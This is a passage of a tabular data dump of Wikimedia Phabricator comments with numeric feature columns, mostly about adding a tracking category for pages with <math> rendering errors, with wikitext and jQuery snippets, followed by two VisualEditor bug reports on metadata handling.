",,,1467219463,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.2222222222222223,0.8888888888888888,"The discussion was moved to [[URL
"
686155,Add tracking category to pages with errors in <math>,"No problem.
",,,1467218718,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,"No problem.
"
686076,Add tracking category to pages with errors in <math>,Thank you. I have posted an edit request at that page on en.wiki.,,,1467210767,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.9333333333333333,Thank you. I have posted an edit request at that page on en.wiki.
685981,Add tracking category to pages with errors in <math>,"First of all, @Jonesey95, you can't do it only in vector or only in your account. We are talking about removing pages from category, so it can be done for your entire wiki and nothing else.
Second of all, there is no link for this case help, because it's too obvious.
1. Create a new page [[{{ns:8}}:math-tracking-category-error]] in your wiki.
2. Put there for example a code:
{{#switch:{{NAMESPACENUMBER}]|1|2|3|118|2600=:|Pages with math errors}]
3. Where the numbers list is all namespace numbers where you want just a message, not a category - here, for example, talk, user, user talk, draft and flow.
4. And the last parameter is the category name (you'll see it in the wiki editor in the page creation moment).
5. Save the page.
6. Open one page with a math error in good namespace for editing. Make sure the category is there.
7. Open one page with a math error in bad namespace for editing. Make sure the category is not there.
8. If there is a problem, replace "":"" with ""-"" in the code and try again.
9. When you are sure it works, run a nulledit bot on the current category content.
10. Done.
 ",,,1467195164,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,1.0,0.0,0.0,0.3333333333333333,1.0,4.0,1.0,0.3333333333333333,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,5.666666666666667,9.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.6666666666666665,0.3333333333333333,1.6666666666666667,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,18.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,6.333333333333333,3.0,5.666666666666667,2.0,1.6666666666666667,8.0,0.0,0.0,0.0,0.3333333333333333,5.0,0.0,1.6666666666666667,0.0,4.333333333333333,9.0,0.6666666666666666,0.0,1.3333333333333333,0.0,4.333333333333333,0.0,1.0,2.6666666666666665,0.0,1.3333333333333333,0.0,0.0,3.3333333333333335,3.3484233158146197,0.6215559802516324,"First of all,SCREEN_NAME, you can't do it only in vector or only in your account. We are talking about removing pages from category, so it can be done for your entire wiki and nothing else.
Second of all, there is no link for this case help, because it's too obvious.
1. Create a new page [[{{ns:8}}:math-tracking-category-error]] in your wiki.
2. Put there for example a code:
{{#switch:{{NAMESPACENUMBER}]|1|2|3|118|2600=:|Pages with math errors}]
3. Where the numbers list is all namespace numbers where you want just a message, not a category - here, for example, talk, user, user talk, draft and flow.
4. And the last parameter is the category name (you'll see it in the wiki editor in the page creation moment).
5. Save the page.
6. Open one page with a math error in good namespace for editing. Make sure the category is there.
7. Open one page with a math error in bad namespace for editing. Make sure the category is not there.
8. If there is a problem, replace "":"" with ""-"" in the code and try again.
9. When you are sure it works, run a nulledit bot on the current category content.
10. Done.
 "
685979,Add tracking category to pages with errors in <math>,"First of all, @Jonesey95, you can't do it only in vector or only in your account. We are talking about removing pages from category, so it can be done for your entire wiki and nothing else.
Second of all, there is no link for this case help, because it's too obvious.
1. Create a new page [[{{ns:8}}:math-tracking-category-error]] in your wiki.
2. Put there for example a code:
{{#switch:{{NAMESPACENUMBER}]|1|2|3|118|2600=:|Pages with math errors}]
3. Where the numbers list is all namespace numbers where you want just a message, not a category - here, for example, talk, user, user talk, draft and flow.
4. And the last parameter is the current name (you'll see it in the wiki editor in the page creation moment).
5. Save the page.
6. Open one page with a math error in good namespace. Make sure the category is there.
7. Open one page with a math error in bad namespace. Make sure the category is not there.
8. If there is a problem, replace "":"" with ""-"" in the code and try again.
9. When you are sure it works, run a nulledit bot on the current category content.
10. Done.
 ",,,1467194961,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,1.0,0.0,0.0,0.3333333333333333,1.0,4.333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,6.0,8.333333333333334,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.0,0.3333333333333333,1.6666666666666667,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,18.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,6.333333333333333,3.0,5.666666666666667,2.0,1.6666666666666667,8.0,0.0,0.0,0.0,0.3333333333333333,5.0,0.0,1.6666666666666667,0.0,4.333333333333333,8.333333333333334,0.6666666666666666,0.0,1.3333333333333333,0.0,4.333333333333333,0.0,1.0,2.6666666666666665,0.0,0.6666666666666666,0.0,0.0,3.3333333333333335,3.321164021164021,0.6196988196988197,"First of all,SCREEN_NAME, you can't do it only in vector or only in your account. We are talking about removing pages from category, so it can be done for your entire wiki and nothing else.
Second of all, there is no link for this case help, because it's too obvious.
1. Create a new page [[{{ns:8}}:math-tracking-category-error]] in your wiki.
2. Put there for example a code:
{{#switch:{{NAMESPACENUMBER}]|1|2|3|118|2600=:|Pages with math errors}]
3. Where the numbers list is all namespace numbers where you want just a message, not a category - here, for example, talk, user, user talk, draft and flow.
4. And the last parameter is the current name (you'll see it in the wiki editor in the page creation moment).
5. Save the page.
6. Open one page with a math error in good namespace. Make sure the category is there.
7. Open one page with a math error in bad namespace. Make sure the category is not there.
8. If there is a problem, replace "":"" with ""-"" in the code and try again.
9. When you are sure it works, run a nulledit bot on the current category content.
10. Done.
 "
685892,Add tracking category to pages with errors in <math>,"I would love to do it myself (for everyone, not just in my own vector.js). @IKhitron, do you have a link to instructions on how to take care of it on en.wiki? Thanks.",,,1467177192,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,22.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,16.0,22.0,0.0,3.0,0.0,0.0,16.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.675675675675676,0.8378378378378378,"I would love to do it myself (for everyone, not just in my own vector.js).SCREEN_NAME, do you have a link to instructions on how to take care of it on en.wiki? Thanks."
685764,Add tracking category to pages with errors in <math>,"I meant one line in wiki code, @SalixAlba and @Jonesey95, not jawascript.
",,,1467148543,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,7.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9333333333333333,"I meant one line in wiki code,SCREEN_NAME andSCREEN_NAME, not jawascript.
"
685668,Add tracking category to pages with errors in <math>,"It is a little annoying. But I'm convinced it is worth the extra effort. In time the number of false positives will go down and each page is re-rendered. Some talk pages which discuss rendering errors  will remain.

If its really a problem this bit of javascript in your vector.js will hide most of the talk pages.

  jQuery( document ).ready( function( $ ) {	
    	if( document.title == ""Category:Pages with math errors - Wikipedia, the free encyclopedia"") {
		$("".mw-category-group a"").each(function(ind,ele) {
			var title = ele.innerHTML;
			if(title.startsWith(""User:"") || title.startsWith(""Talk:"") || title.startsWith(""User talk:"") 
			 || title.startsWith(""Wikipedia:"") || title.startsWith(""Wikipedia talk:"") ) {
				root = ele.parentElement;
				$(root).css({""display"":""none""});
				console.log(ele.innerHTML);
			}
		})
	   }
     }",,,1467141776,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,1.0,0.0,0.0,0.5,0.0,4.5,1.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,18.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,1.5,4.5,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,4.5,5.0,0.0,5.0,0.0,2.5,0.0,0.5,1.0,0.0,0.5,0.0,0.5,1.0,4.234039836567927,0.626276813074566,"It is a little annoying. But I'm convinced it is worth the extra effort. In time the number of false positives will go down and each page is re-rendered. Some talk pages which discuss rendering errors  will remain.

If its really a problem this bit of javascript in your vector.js will hide most of the talk pages.

  jQuery( document ).ready( function( $ ) {	
    	if( document.title == ""Category:Pages with math errors - Wikipedia, the free encyclopedia"") {
		$("".mw-category-group a"").each(function(ind,ele) {
			var title = ele.innerHTML;
			if(title.startsWith(""User:"") || title.startsWith(""Talk:"") || title.startsWith(""User talk:"") 
			 || title.startsWith(""Wikipedia:"") || title.startsWith(""Wikipedia talk:"") ) {
				root = ele.parentElement;
				$(root).css({""display"":""none""});
				console.log(ele.innerHTML);
			}
		})
	   }
     }"
685608,Add tracking category to pages with errors in <math>,"But @Jonesey95, you can do it in a minute by yourself.
",,,1467135776,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,23.0,15.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,"ButSCREEN_NAME, you can do it in a minute by yourself.
"
685557,Add tracking category to pages with errors in <math>,"If possible, it might be a good idea to limit the namespaces to which this category applies. For an example, see the Citation Style 1 error messages and categories on en.wiki, e.g. ""Category:Pages with archiveurl citation errors"":

""Pages in the Book talk, Category talk, Draft, Draft talk, Education Program talk, File talk, Help talk, MediaWiki talk, Module talk, Portal talk, Talk, Template talk, TimedText talk, User, User talk, and Wikipedia talk namespaces are not included in the error tracking categories.""

The error message still shows on these pages, but they are not categorized. There is little point in categorizing someone's User sandbox page; it clutters the category with false positives. ",,,1467130992,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,0.0,0.5,0.0,1.5,1.5,4.0,0.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.5,2.5,6.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,22.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,2.5,16.0,0.5,2.0,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.0,6.5,9.0,0.0,2.0,0.0,2.0,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,4.152777777777778,0.6805555555555556,"If possible, it might be a good idea to limit the namespaces to which this category applies. For an example, see the Citation Style 1 error messages and categories on en.wiki, e.g. ""Category:Pages with archiveurl citation errors"":

""Pages in the Book talk, Category talk, Draft, Draft talk, Education Program talk, File talk, Help talk, MediaWiki talk, Module talk, Portal talk, Talk, Template talk, TimedText talk, User, User talk, and Wikipedia talk namespaces are not included in the error tracking categories.""

The error message still shows on these pages, but they are not categorized. There is little point in categorizing someone's User sandbox page; it clutters the category with false positives. "
684114,Add tracking category to pages with errors in <math>,"@Aklapper? Or maybe @Quiddity? Thanks.
",,,1466776616,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,155,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.875,0.875,"SCREEN_NAME? Or maybeSCREEN_NAME? Thanks.
"
683638,Add tracking category to pages with errors in <math>,It looks like this is fixed in T134872 by https://gerrit.wikimedia.org/r/292576 We can probably close this as a duplicate. ,,,1466691225,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,21.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,0.9473684210526315,It looks like this is fixed in T134872 by GERRIT_URL We can probably close this as a duplicate. 
683294,Add tracking category to pages with errors in <math>,So we now seem to have [[Category:Pages with math errors]] on en wiki at least. ,,,1466630074,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,2.9545454545454546,0.9090909090909091,So we now seem to have [[Category:Pages with math errors]] on en wiki at least. 
683283,Add tracking category to pages with errors in <math>,"Hello, @Aklapper. It works. I think you need close this task as resolved.
",,,1466629083,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,155,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8888888888888888,"Hello,SCREEN_NAME. It works. I think you need close this task as resolved.
"
495660,Add tracking category to pages with errors in <math>,I think we would need comunity consensus for enabling the MathSearch extension in production... and a lot of cleanup work... sinc it's currently more desinged as demo/proof of concept.,,,1437662084,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,14.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,4.457142857142857,0.9428571428571428,I think we would need comunity consensus for enabling the MathSearch extension in production... and a lot of cleanup work... sinc it's currently more desinged as demo/proof of concept.
214673,Add tracking category to pages with errors in <math>,"**physik** wrote:

(In reply to Richard Morris from comment #2)
> This error is made worse by the difference between the syntax used in
> MathJax and texvc. In
> http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
> Feedback&oldid=569279227#Math_text_that_doesn.27t_parse_when_in_VE
> a unicode character was used in a formula, the editor was probably using
> MathJax so the error did not show up. There seem to be a few such errors. A
> google search
> https://www.google.co.uk/search?q=%22Failed+to+parse%22+site:en.wikipedia.
> org+-Talk%3A
> can be used to find some.

Bug 72240 will make it better again. I'll try to migrate this feature from MathSearch to the Math extension.",,,1413745226,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,67,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,3.0,10.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.338709677419355,0.5806451612903226,"**physik** wrote:

(In reply to Richard Morris from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Bug 72240 will make it better again. I'll try to migrate this feature from MathSearch to the Math extension."
214668,Add tracking category to pages with errors in <math>,"This error is made worse by the difference between the syntax used in MathJax and texvc. In
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=569279227#Math_text_that_doesn.27t_parse_when_in_VE
a unicode character was used in a formula, the editor was probably using MathJax so the error did not show up. There seem to be a few such errors. A google search https://www.google.co.uk/search?q=%22Failed+to+parse%22+site:en.wikipedia.org+-Talk%3A
can be used to find some.",,,1376979625,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,7,,3.0,0.0,0.0,5.0,2.0,6.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,12.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,3.6153846153846154,0.7076923076923077,"This error is made worse by the difference between the syntax used in MathJax and texvc. In
URL
a unicode character was used in a formula, the editor was probably using MathJax so the error did not show up. There seem to be a few such errors. A google search URL
can be used to find some."
214664,Add tracking category to pages with errors in <math>,"**physik** wrote:

This is already a feature of the MathSearch extension.",,,1365506334,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8333333333333334,"**physik** wrote:

This is already a feature of the MathSearch extension."
49025,VisualEditor: Part of MetaList should be moved into Document,"Per IRC discussion between me and Trevor:

* Move list of MetaItems to dm.Document
* Keep MetaList (possibly rename it) with current API, wraps around list of items in Document
* MetaList takes a surface, and can make changes using that surface
* MetaItem.remove method will have to be removed, because it can't call back into the surface

(This is for post-July)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1365460200,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-r3vxaorhac46omf45tpw,task_description,open,True,c1,1,False,False,,-12,,0.0,0.0,0.0,1.0,1.0,3.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.9183673469387754,0.673469387755102,"Per IRC discussion between me and Trevor:

* Move list of MetaItems to dm.Document
* Keep MetaList (possibly rename it) with current API, wraps around list of items in Document
* MetaList takes a surface, and can make changes using that surface
* MetaItem.remove method will have to be removed, because it can't call back into the surface

(This is for post-July)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
48954,VisualEditor: Any transaction which results in metadata being merged won't rollback cleanly,"Take the document:

<!-- meta -->content<!-- data -->

If you remove all of ""content"", the two comments now have to share an offset in the metadata array but this process is not recorded in the transaction. As a result, when the commit is rolled-back the comments aren't re-split so the resulting doc is:

content<!-- meta --><!-- data -->

--------------------------
**Version**: unspecified
